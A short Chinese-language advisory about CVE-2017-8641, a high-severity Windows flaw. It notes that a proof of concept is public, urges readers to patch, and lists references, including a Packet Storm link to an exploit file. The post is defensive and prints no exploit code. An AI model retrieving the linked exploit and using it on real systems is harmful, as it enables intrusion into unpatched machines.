CVE网站上堆此漏洞定义为高危,因为几乎所有的windows操作系统都可能遭受影响,理论上讲,这样的一个漏洞如果被一些不怀好意的人给利用,不知道会造成多大损失,很多人应该能体会到之前“想哭(WannCry)”勒索病毒所造成的轩然大波。不过,这个漏洞的POC已经公开,所以为了避免自己遭受不必要的损失,建议尽快将自己的电脑补丁打到最新版本,这样就可以避免自己的机器受到不必要的威胁,希望看到的人转发出去,让更多的人知道这个漏洞,只有知道了才会最大可能避免遭受损失。

参考链接:

http://www.securityfocus.com/bid/100057

https://nvd.nist.gov/vuln/detail/CVE-2017-8641

https://twitter.com/hosselot/status/899953163767349248

https://dl.packetstormsecurity.net/1708-exploits/msedgechakraint-overflow.txt

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